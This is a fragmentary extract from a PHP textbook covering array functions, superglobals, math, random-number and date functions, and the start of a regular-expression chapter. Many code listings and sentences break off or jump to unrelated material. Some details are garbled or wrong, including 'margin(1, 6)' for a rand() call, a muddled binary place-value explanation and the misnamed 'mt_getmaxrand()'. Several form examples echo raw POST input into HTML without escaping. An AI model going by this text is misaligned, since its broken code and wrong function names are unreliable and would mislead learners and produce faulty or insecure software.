for ($i = $start; $i <= $end; $i += $step) {
$j += $i;
$result[] = $j;
}
}
return $result;
}
echo add(2, 10, 2)[2];
?>
Figure 8.18 The Return of an Intermediate Step Takes Place Directly from the Return Array
<?php
function add($a, $b, $c) {
return $a + $b + $c;
}
$parameter = [1, 2, 3];
$result = add(...$parameter);
echo $result;
?>
Note
The operator can only be used at the end of the respective call. However, you have the
option of explicitly specifying any number of parameters beforehand.
As of PHP 8.1, the operator for arrays (...) can also be used for associative arrays. The
following example unpacks two arrays and then combines them back into one array.
<?php
$stockprices1 = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
$stockprices2 = array("Rheinwerk" => 500, "Forsche" => 84);
Figure 8.19 In the Result Array, The Last Key Is Used if the Keys Are the Same
Tip
Functionally, the example and how the parameter works here correspond to the
array_merge() array function.
8.5.1 Search
There are some interesting functions for searching. We present the most important
ones here:
쐍 The array_key_exists(Index, Array) function determines whether an index is pres-
ent in the array and returns a truth value as the result.
쐍 array_search(Value, Array, Exactly) searches the array for a value and returns the
key or keys. If there are several, it returns an array. If the optional Exactly option is
set to true, then the data type is also included in the search. Caution: as with in_
array(), the search term is placed before the array itself!
쐍 array_keys(Array, Value, Exactly) returns all keys of an array as a numeric array. If
you specify a value, then only keys that have the value are returned. Exact is also
optional and determines whether the data type is also checked.
쐍 array_values(Array) returns the values of an array. The resulting array has a numer-
ical index. Previously existing associative indices are lost.
8.5.2 Sort
For sorting of arrays, there are useful functions and those that you only need once
every ten years. We make little distinction here and include both the important and a
few less important ones.
First, here are some functions that have a rather limited area of application and only
allow a few settings:
쐍 array_flip(Array) swaps the indices and values of an array and returns this array as
the return value. If there are multiple values, only the last one survives and receives
its key as the value.
쐍 array_reverse(Array, Preserve) reverses the order of the array. The optional second
parameter determines whether the keys are retained (true). The default value for
this is false.
쐍 array_rand(Array, number) returns a random index for an array element. If you spec-
ify the number, you get an array with several random indices.
쐍 shuffle(Array) randomly changes the order of the array elements. The return value
is a truth value, that tells whether the operation was successful.
Now to the sorting functions with more setting options. sort() and the like are all very
logically named:
쐍 The root word is sort.
쐍 If there is an r in front of it, it is sorted backward.
쐍 If there is an a at the very beginning, it is sorted, but the index and value assign-
ments are retained.
쐍 If there is a k at the beginning, the data is sorted by index. The index/value assign-
ments are also retained here. All other sorting functions sort by value.
쐍 The index/value assignments change for all others.
쐍 A u means that the function expects a sort function as a parameter.
쐍 A nat means that a natural sorting is attempted, as a human would do. For example,
the numbers 1, 2, and 3 are sorted before 10, 20, and and 30. An algorithm from Mar-
tin Pool is used for this is used for this (see http://s-prs.co/v602269).
Consider the following simple example. The sort() function sorts by value (as k is not
specified for key), and it changes the index/value assignments. The sort function—like
all others—changes the original array. Figure 8.20 shows the result.
<?php
$days = array("Saturday", "Sunday", "Monday", "Tuesday");
sort($days);
print_r($days);
?>
As an alternative and also for the other settings that have nothing to do with forms,
there are arrays that are always structured according to the pattern $HTTP_*_VARS. The
asterisk stands for the purpose of the array, such as $HTTP_SERVER_VARS for information
from the server. However, these arrays are somewhat unwieldy, which is why super-
global arrays were introduced in PHP 4.1.0. They are now the absolute standard, and
there is no reason and, as of PHP 5.4, no way to fall back on the other alternatives—
especially as $HTTP_*_VARS in PHP 5 can be switched off with the php.ini register_long_
arrays directive. In PHP 5.4, this old braid was finally cut off. You can search the global
arrays and go through them like a normal array. You can see the result in Figure 8.21.
<?php
foreach ($_SERVER as $index => $value) {
print $index . ": " . $value . "<br />";
}
?>
As promised, we will now briefly present the predefined variables.4 You can find
detailed descriptions of the following at http://s-prs.co/v602270:
쐍 $_GET contains the values appended to the URL via GET from a form. More on this fol-
lows in Chapter 13.
쐍 $_POST contains the values sent from a form via POST. You can also read more about
this in Chapter 13.
쐍 $_COOKIE contains information on cookies. You can find out more about this in
Chapter 14.
쐍 $_REQUEST contains the information from the three variables mentioned in the pre-
vious bullets. You can also find this variant in Chapter 14.
쐍 $_SESSION provides data from session variables. You can read more about this in
Chapter 15.
쐍 $_SERVER contains information about the PHP installation and the web server. This
includes the path of the script (PHP_SELF) and also authentication information. You
will encounter the latter in Chapter 33, for example.
쐍 $_ENV provides information about the environment in which PHP is running. Above
all, these are the environment variables to which PHP is also registered, depending
on the installation.
쐍 $_FILES consists of data about uploaded files. You can also find out more about this
in Chapter 13.
Note
The superglobal variables also include $GLOBALS for saving global variables (see Chap-
ter 6, Section 6.1.2).
The $_SERVER array, sometimes also $_ENV, is of particular interest. You will receive two
types of information there:
쐍 Data that the client (browser) sent to the web server with the HTTP request
쐍 Data about the server
The former data can be found in the variables that begin with HTTP_. This includes the
HTTP_USER_AGENT entry, which contains the identification string of the web browser.5
Here are some exemplary values, starting with current values and moving through to
old classics:
4 The predefined variables were already mentioned in Chapter 4. As they also belong to the arrays, we
will briefly introduce them again here.
5 This is the same information that you would receive on the client side via the navigator.userAgent
JavaScript property.
This information can be the basis for a browser switch. You will also find other useful
variables in $_SERVER, such as PHP_SELF, which contains the URL of the current PHP
script.
There is a whole range of other environment variables. However, some of these are
very dependent on the operating system and the web server used. To demonstrate this,
the following small script outputs the content of $_SERVER and $_ENV (see also Figure
8.22).
<h1>Server variables</h1>
<table><tr><th>Name</th><th>Value</th></tr>
<?php
ksort($_SERVER);
foreach ($_SERVER as $name => $value) {
if (is_array($value)) {
printf("<tr><td>%s</td><td>%s</td></tr>",
$name, implode(" ", $value));
} else {
printf("<tr><td>%s</td><td>%s</td></tr>",
$name, $value);
}
}
?>
</table>
<h1>Environment variables</h1>
<table><tr><th>Name</th><th>Value</th></tr>
<?php
ksort($_ENV);
foreach ($_ENV as $name => $value) {
if (is_array($value)) {
printf("<tr><td>%s</td><td>%s</td></tr>",
$name, implode(" ", $value));
} else {
printf("<tr><td>%s</td><td>%s</td></tr>",
$name, $value);
}
}
?>
</table>
The consequence of the system differences is clear: If you query an exotic environment
variable (as a rule of thumb, one that does not begin with HTTP_ or PHP_), then you
should also test the code on other operating systems. Otherwise, you may be faced with
unpleasant surprises if you move the server. But there are also differences in the more
familiar environment variables; for example, the HTTP_UA_CPU and HTTP_UA_OS environ-
ment variables are specialties of Internet Explorer and therefore only suitable for
intranet use.
The only question that remains is what the difference is between $_SERVER and $_ENV. In
theory, $_SERVER contains variables that have to do with the HTTP request and
response, whereas $_ENV contains environment variables of the system on which PHP
is running. In practice, however, this is only ever the case with Linux; with Windows,
the two are often mixed up (as we have seen). Depending on the configuration in the
php.ini, it can also be that some of the superglobals are not accessible, p.e. $_ENV is not
recommended in production environments. As a hint, typically use $_SERVER.
Figure 8.22 Output of the Server and Environment Variables under Windows with an Apache
Server
Note
At http://php.net/reserved.variables, you will find a list of the variables that are sup-
ported.
How often do you need a mathematical calculation or a date? More often than you might
think. Mathematics is important when generating graphics, for example. Complex fig-
ures are rather unpleasant without trigonometric functions. Date values are encoun-
tered even more frequently on the web: be it the current date of a news entry, which is
automatically generated by PHP, or a counter that counts the days until Christmas.
In the vast number of functions that exist in PHP, there are also many for mathemati-
cal calculations and working with date values. In the function reference of the online
documentation, there is even a separate section for mathematical functions and one
for date functions. We don't want to recite all the functions for you; rather, we will pick
out the most interesting ones and look at them in the wild.
9.1 Math
"Sit down, take out your exercise books, come to the blackboard, and do your math!"
This or something similar is what many people associate with mathematics. It won't be
quite that bad here, we promise! You will find the most important topics in the follow-
ing sections. Pick out what you need.
9.1.1 Basics
For basic arithmetic operations, PHP—like most programming and scripting lan-
guages—offers the arithmetic operators (see also Chapter 5). Some mathematical func-
tions are then available for more complicated calculations. For example, sqrt(number)
calculates the square root of a number, and pow(base, power) calculates the power.
<?php
$a = 2;
$b = 3;
echo pow($a, $b);
?>
Have you already calculated the power in your head? PHP says the result is 8.
Note
As an alternative, there is also the ** operator for calculating a power. You can read
more about this in Chapter 5.
The intdiv() function is practical. It performs an integer division. Its first parameter is
the number to be divided; its second is the divisor. The return is the integer result of
the division. The following example therefore returns 4.
<?php
$a = 8;
$b = 2;
echo intdiv($a, $b);
?>
<?php
function add() {
$numbers = func_get_args();
$sum = 0;
foreach ($numbers as $number) {
$sum += $number;
}
return $sum;
}
echo add(2, 10, 66, 5, 23);
?>
In the preceding example, mental arithmetic becomes more difficult. The result is 106.
9.1.2 Constants
Some mathematical constants are used frequently, are difficult to calculate, or both.
Therefore, PHP provides some predefined constants, which we list in Table 9.1.
Note
The precision with which this table and the online documentation give these numbers
is not the precision that PHP provides. PHP 4 only provided 11 decimal places by default,
PHP 5, and PHP 7 and higher use 13.
쐍 Binary
This system uses only 0 and 1. If there is a 1, the respective number is present; if there
is a 0, it is not present. The numbers are read from right to left. The first digit on the
right stands for 1, the one to the left for 2, the one to the right for 4, the one to the left
for 8, and so on. Therefore, binary 101 converts to decimal 5.
쐍 Octal
This number system is based on the number eight. An octal number is also read
from right to left. To convert it into a decimal number, multiply the right-hand digit
by 1, the digit to the left by 8, the digit next to it by 64, the digit next to it by 512, and
so on. Therefore, octal 143 converts to decimal 99.
Note
As of PHP 8.1, there is an innovation for the notation of octal numbers. They are now
notated with a leading 0 as before, but with a lowercase o afterward:
$octal = 0o143;
Converting manually from the decimal number system to these three systems would
be unnecessarily complicated. PHP helps you here with three conversion functions:
쐍 dechex(number)
쐍 decbin(number)
쐍 decoct(number)
Note
The conversion functions return a string as the result. There are no data types for hexa-
decimal, binary, and octal numbers in PHP. The back-conversion functions also use a
string as a parameter.
There are also three functions for the reverse path. The names always follow the same
convention. The number system from which the conversion is made is at the front:
쐍 hexdec(String)
쐍 bindec(String)
쐍 octdec(String)
The following example shows a simple form (see Figure 9.1) with which you can convert
a decimal number into the other three number systems.
<?php
if (isset($_POST["send"])) {
$decimal = $_POST["decimal"];
$hexa = dechex($decimal);
$binary = decbin($decimal);
$octal = decoct($decimal);
}
?>
<html>
<head>
<title>Converter</title>
</head>
<body>
<form method="POST">
<input type="text" name="decimal" value="<?=isset($decimal)?$decimal:''?>"
/>
The decimal number<br /><br />
<input type="text" name="hexa" value="<?=isset($hexa)?$hexa:''?>" />
in hexadecimal notation<br />
<input type="text" name="binary" value="<?=isset($binary)?$binary:''?>" />
in binary notation<br />
<input type="text" name="octal" value="<?=isset($octal)?$octal:''?>" />
in octal notation<br />
<input type="submit" name="send" value="Convert" /> </form>
</body>
</html>
If you want to convert even more flexibly, you can use base_convert(number, source
system, target system). Here you enter the number to be converted as a string. For the
source system, the base follows the current number—so 10 for decimal, 2 for binary, 16
for hexadecimal, and 8 for octal. For the target system, enter the base of the system to
which the conversion is to be made. The highest possible number for both systems is
36 as this covers all digits from 0 to 9 and all letters from A to Z.
The following example converts a binary number into a hexadecimal number.
<?php
$a = "1101";
echo base_convert($a, 2, 16);
?>
The result of the conversion is d. In the decimal system, the number would be ... Do you
know?
“rand()” function
With rand(Minimal, Maximal), you get an integer random value between the minimum
and maximum limit.
margin(1, 6)
therefore returns random numbers between 1 and 6, and only whole numbers!
Note
With the srand(base value) function, you can set a base value for a random number.
The base value can be the current date, for example.
If you omit the limits from rand(), you get random values between 0 and the system-
dependent upper limit. You can read this upper limit with getrandmax() (see Figure 9.2).
This is the largest possible random value.
<?php
echo "Random value: " . rand() . "<br />";
echo "Largest possible random value: " . getrandmax();
?>
Figure 9.2 A Random Value and the Largest Possible Value on the System
"mt_ ..."
mt_rand(Min, Max) is the newer counterpart to rand(). The special feature is already in
the preceding mt: mt stands for Mersenne Twister, a well-known random algorithm that
delivers better random numbers. In this case, better means that the random numbers
are more reliably random and the algorithm works faster.
Note
For mt_rand(), there is also mt_srand(base_value) to set a base value for the random
number. Srand() is an alias of mt_srand() since PHP 7.1. There is also a method that
returns the upper limit: mt_getmaxrand(). You need the upper limit if you omit the
maximum value from mt_rand().
"Random\Randomizer" Class
Since PHP 8.2, there is finally an object-oriented option for random numbers: the Ran-
dom\Randomizer class. The name is admittedly logical, but unwieldy. Functionally, how-
ever, there are many possibilities—for example:
쐍 getInt(Min, Max) returns an integer as the result. Min and Max specify the lower and
upper limits respectively.
쐍 getFloat(Min, Max) returns a floating-point number. It is only available as of PHP 8.3.
쐍 getBytes(length) returns a string with random bytes of the specified length.
쐍 shuffleArray(Array) randomly shuffles the entries of an array.
쐍 pickArrayKeys(Array, Number) randomly selects the number of array elements spec-
ified under Number.
In the following example, the Random\Randomizer class rolls the integers between 1 and
6.
<?php
$random = new Random\Randomizer();
<?php
$a = 10;
$b = 5;
$c = 7;
echo "Maximum: " . max($a, $b, $c) . "<br />";
echo "Minimum: " . min($a, $b, $c);
?>
If you only specify one parameter, it must be an array. In this case, max() and min()
return the largest or smallest value of the array.
<?php
$numbers = array(10, 5, 7, 15, 12, 2, 8, 16, 1);
echo "Maximum: " . max($numbers) . "<br />";
echo "Minimum: " . min($numbers);
?>
Note
You cannot use an array and other parameters at the same time in this function.
Rounds
The most important function for rounding is round(number, precision). Here you enter
the number to be rounded. The precision determines the number of decimal places. It is
optional. If it is omitted, PHP automatically rounds to a whole number.
$a = 4.537;
echo round($a, 2);
$a = 4.537;
echo floor($a);
$a = 4.439;
echo ceil($a);
$a = -4.3;
echo abs($a);
In addition to radians, PHP naturally has all the functions required for trigonometric
calculations: sin(value) for the sine, cos(value) for the cosine, and tan(value) for the
tangent. The parameter values are always given in radians.
Tip
There is not enough space in this book for an introduction to geometry. If you need to
solve a specific problem, we recommend an old math book and pen and paper.
Installation
Before you use the functions of BCMath, you should make sure that it is installed cor-
rectly. The easiest way to do this is with phpinfo(), as shown in Figure 9.4. In all modern
PHP versions, this is automatically the case by default, so the functions are also
installed on most web servers.
Settings
You decide exactly how BCMath calculates. PHP offers three options:
쐍 The central setting can be found in php.ini.
bcmath.scale = 0
This specifies the decimal places for all binary calculator functions. The default set-
ting of 0 means that calculations are performed without decimal places. You can
change the value here.
쐍 Alternatively, you can set the precision for the script using the bcscale(precision)
function for the script.
쐍 The third option is to specify the precision as the last (optional) parameter for each
BCMath function (bcadd(number1, number2, precision)).
Application
Using the functions is now very easy. Consider the following simple example; Figure
9.5 shows the result.
<?php
$a = 4.537;
$b = 5.3429;
echo bcadd($a, $b, 3);
?>
Figure 9.5 When Adding, the Fourth Decimal Place of the Second Number Is Ignored
Note
Decimal places beyond the specified accuracy are simply ignored.
In addition to bcadd(), there are several other BCMath functions. For example, the basic
arithmetic operations:
쐍 bcsub(number1, number2) for subtraction
쐍 bcmul(number1, number2) for multiplication
Note
Caution: If your server is located in Europe, the time in America is of course not correct!
All date functions use the server time.
"getdate()"
getdate() returns the current date as an associative array. All elements of the date, the
day of the week, the day of the month, the month, the year, and so on, are individual
elements in the array. Take a closer look at the array:
var_dump(getdate());
Figure 9.6 shows the indices of the individual dates. Access to an individual entry is
then by index (see Figure 9.7).
<?php
$today = getdate();
echo "We are writing the year " . $today["year"] . ".";
?>
Note
In many programming languages, the month begins with a 0. These and other hurdles
do not exist in PHP. In this respect, handling the elements of the array does not require
any explanation. The returns for the day of the week (weekday) and month (month) are
somewhat problematic. The element with the index 0 contains the number of seconds
that have elapsed since the beginning of the Unix epoch on January 1, 1970 00:00:00
UTC. You will have to reckon with this information later.
"date()"
The date(Format) function also returns a date by default. However, you can determine
the format yourself using a string. Within this string, certain symbols ensure that
elements of the date are output: d stands for the day (preceded by 0), m for the month
(as a number preceded by 0), and Y for the four-digit year. Figure 9.8 shows the output.
<?php
$today = date("m/d/Y");
echo $today;
?>
The slashes between the individual date elements are simply output by date(). If you
want to output one of the symbols that actually corresponds to a date element, then
you must escape it with a backslash (\), also known as an escape character. But be care-
ful: the format
So date() is not suitable for longer texts. Here you can either use DateTime, several
date() calls, or the associative array of getdate().
Table 9.2 offers a list of all available symbols with the corresponding explanation.
o 2025 The ISO 8601 year number (like Y, except that the
year change is not linked to 01.01., but to the ISO
week change of the format specification W).
r Fri, 11 Jul 2025 16:06:07 A specially formatted date that complies with the
+0100 RFC 2822 standard specified by the IETF
(www.ietf.org/rfc/rfc2822.txt).
S st, nd, rd, or th English appendage for the day of the month (which
is output with j).
Note
The origin behind the name of the DateTime object is quite entertaining. It was origi-
nally called the Date object in PHP 5.1. However, it was removed in PHP 5.1.1 due to a
namespace conflict with the PEAR class of the same name. Tumultuous discussions in
the PHP developer lists (http://news.php.net/php.internals/20324) led to the object
being renamed DateTime and being available again as of PHP 5.2.
To create a new date with DateTime, instantiate the object with new:
To output the date in formatted form, use the format() method. The options of for-
mat() are based on date(). With the lines in Listing 9.13, you output the date as num-
bers, as shown in Figure 9.9.
<?php
$today = new DateTime();
echo $today->format('m/d/Y');
?>
<?php
$today = date_create();
echo date_format($today, 'm/d/Y');
?>
Note
There is a separate interface for DateTime: DateTimeInterface, which defines the con-
stants and methods used.
The following example uses a string with the date and a time. A new DateTimeZone
object is used as the time zone with the value for Central European Time, CET (see
Figure 9.10).
<?php
$date = new DateTime('2022-7-20 12:00:00', new DateTimeZone('Europe/Berlin'));
echo $date->format('m/d/Y H:i:sP');
?>
Listing 9.15 The "DateTime" Object with Arbitrary Date Values ("datetime_any_date.php")
Note
An overview of possible time zone values can be found at http://s-prs.co/v602271. If a
time zone is already specified in the date string (with + or - and hour values) or if a
timestamp is specified, then DateTime ignores the time zone specification in the sec-
ond parameter.
9.2.4 Timestamp
If you need the timestamp of the current time or date, you can use the time() method:
$current = time();
The microtime() function also returns the timestamp of the current time, but in micro-
seconds since the Unix time. This unit of measurement can be found in some other
programming languages. In PHP, however, the timestamp in seconds is the standard.
With DateTime, you get the timestamp with the getTimestamp() method. In contrast to
time() and microtime(), this also works with any date value. However, the return is also
only in seconds and not in microseconds. Figure 9.11 shows the respective results.
<?php
$date = new DateTime();
echo $date->getTimestamp();
You can also specify any date for getdate() and for date(). You write this date as the last
parameter in the function. In the following example, a date is specified and then date()
is used to read out the day of the week on this date.
<?php
$timestamp = mktime(0, 0, 0, 4, 18, 1978);
$weekday = date("l", $timestamp);
echo "The birthday was a " . $weekday;
?>
Note
Negative date values do not work on some Windows systems and on some Linux sys-
tems. This means that you can only express dates from 1.1.1970 on as timestamps.
Older dates must be treated as strings. The following date will result in an error:
$timestamp = mktime(0, 0, 0, 11, 2, 1907);
Another limitation is Fri, 13 Dec 1901 20:45:54 GMT. On this date, the negative 32-bit
integer in which PHP can store the value is full, so earlier dates cannot be set. Inciden-
tally, this also applies to the future: Tue, 19 Jan 2038 03:14:07 GMT is the limit there.
However, these limits do not apply on 64-bit systems.
Data as Strings
You often read a date as a string or put it together as a string. This mainly happens
when you create the date from form entries made by the user. There are also several
options for this. You already know one: you pass the string to DateTime. However, there
is also the specialized createFromFormat() method. With this static method, you can
create a DateTime object from a string in which you specify the format. The parameters
for the format are largely the same as the parameters for date() (see Table 9.2).
The following example creates a date from an English string; you can see the corre-
sponding output in Figure 9.12.
<?php
$date = DateTime::createFromFormat('F d Y', 'July 18 2014');
echo $date->format('m/d/Y') . '<br />';
echo $date->getTimestamp() . "<br />";
$weekday = $date->format('l');
echo "The birthday was a " . $weekday . ".";
?>
Note
A similar and sometimes useful function is date_parse_from_format(). It allows a for-
mat to be specified and a string containing the date as the second value. This then
becomes an associative array with the date components.
<?php
$date = " July 18 2014";
$timestamp = strtotime($date);
echo $timestamp . "<br />";
$weekday = date("l", $timestamp);
echo "The birthday was a " . $weekday . ".";
?>
As an alternative to real dates, also references of the following type are possible:
Note
Fortunately, there is a system: The syntax of the possible date specifications in strto-
time() follows the GNU guidelines. You can find these at http://s-prs.co/v602213. Ref-
erences to previous or upcoming weekdays are summarized there—for example, under
7.7 Relative Items in Date Strings.
Validity of Data
The Gregorian calendar,1 which we use today, is often a little complicated. The concept
of leap years in particular often causes some confusion. With checkdate(month, day,
year), PHP offers a check function. It requires all three parameters and then checks
whether the date is a correct Gregorian date.
The function knows three conditions to return true for a valid date:
쐍 The year must be between 1 and 32767. Years before the birth of Christ cannot be cal-
culated. Of course, this method does not make much sense for dates before the
introduction of the Gregorian calendar, as it also calculates a leap year for this time.
쐍 The month must be between 1 and 12.
쐍 The day must have existed in the month in the year.
This function does not fail with 1900 or 2000. The year 1900 is not a leap year, as 1900
is divisible by 100—but 2000 is, as it is divisible by 400.2
<?php
$day = 29;
$month = 2;
$year = 2000;
if (checkdate($month, $day, $year)) {
echo "Valid!";
1 Our calendar was originally created by Gaius Julius Caesar, the general and consul who sealed the
end of the Roman Republic. However, the Julian calendar named after him had some weaknesses,
which were finally addressed in the Gregorian calendar by Pope Gregory XIII in 1582 with the sup-
port of the astronomer Lilius.
2 The Julian calendar had a year length of 365.25 days (normally 365; 366 every four years). As this was
not entirely astronomically correct, there were shifts. Pope Gregory XIII dropped the days between
October 5, 1582, and October 14, 1582 (inclusive), and then introduced the following rule: All years
divisible by 100 are not leap years. However, since this also had to be corrected a little, years divisi-
ble by 400 are leap years after all.
} else {
echo "Oops, $year is unfortunately not a leap year!";
}
?>
"strftime()"
The strftime(format, timestamp) function formats an arbitrary date in a given format.
If you do not specify a timestamp, the current date is used as usual. Attention, the func-
tion is deprecated since PHP 8.1.
Tip
The counterpart to strftime() is strptime(). It converts a date produced by strf-
time() into an array.
strftime() works in the background with a C library.3 The abbreviations for individual
elements always begin with %. Unfortunately, the designations differ significantly from
those in date().
For example, the following line displays the complete month name:
echo strftime("%B");
Note
Depending on the C library used, there may be differences from system to system. The
PHP function reference reveals the common denominator (http://s-prs.co/v602272);
otherwise, you can find further information in the reference of the respective C library.
For Windows, for example, see http://s-prs.co/v602214.
3 This is easy to explain: PHP is written in the C programming language and therefore also uses C
libraries and adopts some special features.
"setlocale()"
If you format a date with strftime(), you can also do this with special local time set-
tings. The setlocale(category, local setting) function sets one or any number of
local settings for a specific category. The category can be the decimal separator (LC_
NUMERIC), everything (LC_ALL), or the time (LC_TIME). As a local setting, enter de_DE for the
German language area, for example. You can separate multiple entries with commas or
pack them into an array. A German month is output by the following example (see
Figure 9.14), in which the local settings are separated by commas.
<?php
setlocale(LC_TIME, "de_DE", "de", "ge");
echo strftime("In month %B");
?>
Figure 9.14 The Month in German with "setlocale()" – But with Deprecated functionstrftime()
Note
With date_default_timezone_get(), you can read the default time zone, and set it
with date_default_timezone_set().
"idate()"
The idate(format, timestamp) function returns an element of a date. You can therefore
only specify an abbreviation for format. This abbreviation is one from the list for date().
However, idate() only uses those that return an integer. This is precisely the special
feature of idate()—hence the i (for integer) in front of date():
echo idate("m");
Just as with date(), you can use a timestamp with idate() or omit it.
GMT
GMT stands for Greenwich Mean Time. Dates in other time zones always work with a
time difference. Some of the date functions are therefore also available specifically for
working with GMT without a time offset. These functions are important if you want to
handle the time difference manually. The following are available:
쐍 gmmktime() generates a timestamp.
쐍 gmdate() returns the date and allows a format string.
쐍 gmstrftime() formats with the format string that comes from C.
The parameters and results of the functions are the same as the GMT-independent
originals.
<?php
if (isset($_POST["submit"])) {
$date1 = strtotime($_POST["input"]);
$date2 = time();
$result = $date1 - $date2;
if ($result > 0) {
echo "Still " . floor($result / (60 * 60 * 24)) . " days ";
echo "until " . date('m/d/Y', $date1);
} else {
echo "Your date is not in the future!";
}
}
?>
<html>
<head>
<title>Final Countdown</title>
</head>
<body>
<form method="POST">
<input type="text" name="input" />
<input type="submit" name="submit" value="How much longer?" />
</form>
</body>
</html>
This is the simplest example of a countdown. Of course, you should first add functions
that check whether the user has entered the date in a proper format.
Tip
In practice, it has proven useful to query the day, month, and year in separate form ele-
ments. It is safest if they are all already specified. Then you only have to sort out invalid
days. For example, you can use checkdate().
If you want the date to be a little more colorful, create the countdown with images. You
only need the numbers from 0 to 9 as images. It is best to name these intelligently—for
example, 0.gif to 9.gif—and then insert the corresponding image depending on the
number. The following example shows the necessary changes in the countdown file.
if ($result > 0) {
$days = str_split(floor($result / (60 * 60 * 24)));
echo "Still ";
for ($i = 0; $i < count($days); $i++) { echo
"<img src='" . $days[$i] . ".gif' />";
}
echo "until " . date('m/d/Y', $date1);
} else {
echo "Your date is not in the future!";
}
The calculation result is split into an array. A for loop then runs through the array and
outputs the image with the corresponding number for each position (see Figure 9.17).
The number comes from the array with the individual digits.
Tip
A countdown with continuous animation is a task for client-side technologies, like
JavaScript. Why? With a server-side language such as PHP, each update of the count-
down would require data to be transferred again. On the client side, however, the
countdown can tick every second.
Another method to realize the countdown is again to use the DateTime object, with the
diff(DateTime, Absolute) method. First you have to convert both date values into
DateTime objects, then you can use the first one as a parameter of diff() in the second
object.
The second parameter is optional. If it is set to true, the return value is always positive,
even if the date to be compared is in the past.
The result of diff() is a DateInterval object. It contains the difference between the two
date values in individual properties: y stands for the year, m for the month, d for the day,
h for the hour, i for the minute, and s for the second.
In our case, however, we want the total number of days without calculating this from
the years. There is a separate days property for this, but it is only filled if DateInterval
was created with the diff() method.
To check whether the countdown date is in the future, you can compare the two Date-
Time objects with each other. The classic comparison parameters such as ==, <, and > can
be used for this.
<?php
if(isset($_POST["Submit"])) {
$date1 = new DateTime($_POST["input"]);
$date2 = new DateTime();
$diff = $date2->diff($date1);
if ($date1 > $date2) {
echo "Still " . $diff->days . " days ";
echo "until " . $date1->format('m/d/Y');
} else {
echo "Your date is not in the future!";
}
}
?>
Tip
In addition to diff(), DateTime also offers methods such as add() and sub()to add or
subtract days, months, years, and so on to or from a date. modify() also allows the
specification of string values such as '+2 days'.
The regular expressions in PHP originally come from the Perl programming language.
In practice, they are mainly used for validations and searches within strings that can-
not be covered by simpler checks such as equality. Accordingly, after the basics and an
overview of the functions, you will also find some application examples such as the fil-
tering of zip codes, telephone numbers, and links.
Note
In PHP, there has long been a second type of regular expression (RegEx): POSIX.1 This
type came from the regular expressions in the Unix command line. They were used
with the ereg_* functions, but they are no longer recommended functions since PHP
5.3 and were removed in PHP 7.
10.1 Basics
As mentioned, regular expressions are patterns that can be used to recognize areas or
an entire string. These patterns follow certain rules and use metacharacters to repre-
sent certain patterns. We present the basics of patterns and metacharacters here.
Note
This chapter mainly shows the PHP functions and can only lay the foundations for reg-
ular expressions. For more information, we recommend Mastering Regular Expressions
by Jeffrey E. F. Friedl (O'Reilly, 2006).
a
therefore expects an a as a component.
1 POSIX stands for Portable Operating System Interface. The POSIX standard contains specifications
for regular expressions, among other things.
쐍 Certain characters have a special meaning in regular expressions. These include the
following metacharacters:
\|[]{}()^$*+-.?
\\
therefore invalidates a backslash. This means that there is exactly one backslash at
this point in the string.
쐍 ^ stands for the beginning of a pattern; $ denotes the end.
쐍 \b returns true if the beginning or end of a word is reached. \B is its counterpart and
returns true if it is not a word boundary.
쐍 Character groups—that is, selections of several characters—can be grouped together
in square brackets ([]).
[ADZ]
recognizes the pattern if the letter A, D, or Z is present. You can also specify ranges—
for example,
[a-z]
[a-zA-Z0-9]
[^ADZ]
excludes A, D, and Z.
쐍 Curly brackets ({}) define how often a character occurs.
\d{5}
means an occurrence of five digits. If the whole string is restricted, like this:
^\d{5}$
This is already the regular expression to check a minimal US zip code. However, you
can also specify a minimum and maximum occurrence in the curly brackets:
\w{2,4}
For example, between two and four occurrences for many types of top-level
domains (although there are now also longer top levels). If you omit one of the two
minimum/maximum values, this means at least or at most.
\d{,8}
stands for a maximum of eight digits. The general rule here is that the expression is
greedy, meaning that the maximum is always selected here, if available.
쐍 There are some short forms for the frequency:
– ? stands for no or a single occurrence (corresponding to {0,1}).
– + stands for single or multiple occurrence (corresponding to {1,}).
– * stands for any number of times (corresponding to {0,}).
Brackets summarize elements. They are useful if you have several alternatives. Sep-
arate alternatives with a vertical bar (|):
(com|org)|\w{4}
The preceding check returns true for com, org, and any combination of four letters.
The content of brackets can be recalled at other points in the printout. To do this, use
\number, where number stands for the position of the bracket. The first bracket is \1,
the second \2, and so on.
10.2.1 "preg_match()"
The simplest way to check a regular expression is with the function preg_match(RegEx,
String). The first parameter is the regular expression; the second parameter is the
string to which it is to be applied.
The function returns 1 if the regular expression matches—that is, was found in the
string—and 0 if not.
Note
false, a truth value, is only returned by preg_match() in the event of an error. In this
respect, you should exercise caution when checking the return. It is best to use strict
equality with ===.
The regular expression must be enclosed in two identical simple symbols. By default,
the symbol is the slash (/). Alternatively, pairs of brackets such as () can also be used. If
you use this symbol also in the regular expression, you have to escape it with a backs-
lash (\).
The regular expression for the following example checks whether the string is a correct
date for the last and current century in the form MM/DD/YYYY. The fact that days and
months can only be written with one digit is also taken into account. In this case, the
return value is 1 because it is a correct date and the defined format is found in the string
accordingly.
<?php
$date = "03/02/2028";
$reg = "/^(0?[1-9]|1[0-2])\/(0?[1-9]|[12]\d|3[01])\/((19|20)?\d{2})$/";
print preg_match($reg, $date);
?>
With preg_match(RegEx, String, Variable), you can specify a variable as the third para-
meter, which then takes the individual parts of the string as an array.
<?php
$date = "03/30/2028";
$reg = "/^(0?[1-9]|1[0-2])\/(0?[1-9]|[12]\d|3[01])\/((19|20)?\d{2})$/";
if (preg_match($reg, $date, $parts)) {
print $parts[2] . "." . $parts[1] . "." . $parts[3];
}
?>
The variable, in this case $parts, is an array. The first index 0 contains all components;
from 1 the brackets start. Incidentally, this matches the specifications in the regular
expressions, where you also access the first bracket with \1.
preg_match(RegEx, String, Variable, Mode, Start_Position) recognizes Mode as the fourth
option and Start_Position as the fifth. The mode can only have one value—namely, PREG_
OFFSET_CAPTURE. If this is activated, not only the location in the variable array but also the
position is returned (see Figure 10.1):
Figure 10.1 The Array with the Location and the Position in the String
The fourth parameter, String position, defines the string or position from which the
search starts. Consider the modified example:
The regular expression finds the second occurrence of ll, as it only searches from the
fifth position in the string. Figure 10.2 shows the result.
preg_match() only ever finds the first occurrence of a search string. A more flexible
option is preg_match_all(). You can see its output in Figure 10.3.
<?php
